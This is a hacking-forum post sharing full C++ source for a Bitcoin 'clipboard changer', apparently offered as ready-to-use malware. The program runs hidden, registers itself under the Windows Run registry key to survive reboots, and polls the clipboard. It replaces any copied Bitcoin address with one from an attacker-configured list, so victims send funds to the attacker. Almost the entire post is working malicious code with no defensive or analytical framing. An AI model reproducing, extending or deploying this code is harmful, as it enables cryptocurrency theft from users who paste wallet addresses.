Leak Bitcoin Clipboard Changer (C++)

3rm4c · 05-09-2020, 06:32 AM

Some code I found on Github, I just added a simple startup on reboot option and it hides the console, roughly get about a 16KB stub.

Config.hpp

Code:
#ifndef DEF_CONFIG_HPP
#define DEF_CONFIG_HPP

#include <array>

namespace config  {

    // You have to create a C++-style array containing bitcoin addresses here.
    // Example:
    std::array<std::string, 10> bitcoinAddresses {"address1", "address2",
        "address3", "address4", "address5", "address6", "address7", "address8",
        "address9", "address10" };

    size_t bitcoinAddressesSize = bitcoinAddresses.size();
}


#endif //DEF_CONFIG_HPP

Clipboard.hpp

Code:
#ifndef DEF_CLIPBOARD_HPP
#define DEF_CLIPBOARD_HPP

#include <iostream>
#include "windows.h"

class Clipboard
{
public:
    Clipboard();

    ~Clipboard();

    std::string getClipboard();

    void setClipboard(std::string contentsToSet);
private:

};

#endif //DEF_CLIPBOARD_HPP

Clipboard.cpp

Code:
#include "Clipboard.hpp"

Clipboard::Clipboard()
{

}

Clipboard::~Clipboard()
{

}

std::string Clipboard::getClipboard()
{
    std::string text = "error";
    if(OpenClipboard(NULL))
    {
        HANDLE hData = GetClipboardData(CF_TEXT);
        if(hData != NULL)
        {
            text = static_cast<char *>(GlobalLock(hData));
    GlobalUnlock(hData);
        }

        CloseClipboard();
    }

    return text;
}

void Clipboard::setClipboard(std::string contentsToSet)
{
    if(OpenClipboard(NULL))
    {
        HGLOBAL clipbuffer;
        char * buffer;
        EmptyClipboard();
        clipbuffer = GlobalAlloc(GMEM_DDESHARE, contentsToSet.length() + 1);
        buffer = (char*)GlobalLock(clipbuffer);
        strcpy(buffer, LPCSTR(contentsToSet.c_str()));
        GlobalUnlock(clipbuffer);
        SetClipboardData(CF_TEXT,clipbuffer);
        CloseClipboard();
    }
}

Main.cpp

Code:
#include <iostream>
#include <string>
#include <algorithm>
#include "Config.hpp"
#include "Clipboard.hpp"

#if defined(__linux__)
#include <unistd.h>
#define Sleep(x) usleep((x) * 1000)
#endif

bool isBitcoinAddress(const std::string& str)
{
if (str.at(0) != '1')
return false;

size_t strLength = str.length();
if (strLength < 26 || strLength > 35)
return false;

bool isAlphaNumeric = find_if(str.cbegin(), str.cend(), [](char c)
{
return !(isalnum(c) || (c == ' '));
}) == str.cend();

return isAlphaNumeric;
}

BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName)
{
HKEY hKey = NULL;
LONG lResult = 0;
BOOL fSuccess = TRUE;
DWORD dwRegType = REG_SZ;
wchar_t szPathToExe[MAX_PATH] = {};
DWORD dwSize = sizeof(szPathToExe);

lResult = RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hKey);

fSuccess = (lResult == 0);

if (fSuccess)
{
lResult = RegGetValueW(hKey, NULL, pszAppName, RRF_RT_REG_SZ, &dwRegType, szPathToExe, &dwSize);
fSuccess = (lResult == 0);
}

if (fSuccess)
{
fSuccess = (wcslen(szPathToExe) > 0) ? TRUE : FALSE;
}

if (hKey != NULL)
{
RegCloseKey(hKey);
hKey = NULL;
}

return fSuccess;
}

BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args)
{
HKEY hKey = NULL;
LONG lResult = 0;
BOOL fSuccess = TRUE;
DWORD dwSize;

const size_t count = MAX_PATH * 2;
wchar_t szValue[count] = {};


wcscpy_s(szValue, count, L"\"");
wcscat_s(szValue, count, pathToExe);
wcscat_s(szValue, count, L"\" ");

if (args != NULL)
{
wcscat_s(szValue, count, args);
}

lResult = RegCreateKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL);

fSuccess = (lResult == 0);

if (fSuccess)
{
dwSize = (wcslen(szValue) + 1) * 2;
lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
fSuccess = (lResult == 0);
}

if (hKey != NULL)
{
RegCloseKey(hKey);
hKey = NULL;
}

return fSuccess;
}

void RegisterProgram()
{
wchar_t szPathToExe[MAX_PATH];

GetModuleFileNameW(NULL, szPathToExe, MAX_PATH);
RegisterMyProgramForStartup(L"My_Program", szPathToExe, L"-foobar");
}

int main()
{

RegisterProgram();
IsMyProgramRegisteredForStartup(L"My_Program");

ShowWindow(GetConsoleWindow(), SW_HIDE);

Clipboard clipboard;
size_t iBitcoinAddresses = 0;
std::string oldAddressSet;
while (1)
{
std::string clipboardContents = clipboard.getClipboard();
if (isBitcoinAddress(clipboardContents))
{
if (oldAddressSet != clipboardContents)
{
std::string addressToSet = config::bitcoinAddresses.at
(iBitcoinAddresses);
clipboard.setClipboard(addressToSet);
oldAddressSet = addressToSet;
iBitcoinAddresses = (iBitcoinAddresses + 1) %
config::bitcoinAddressesSize;
}
}

Sleep(700);
}
return 0;
}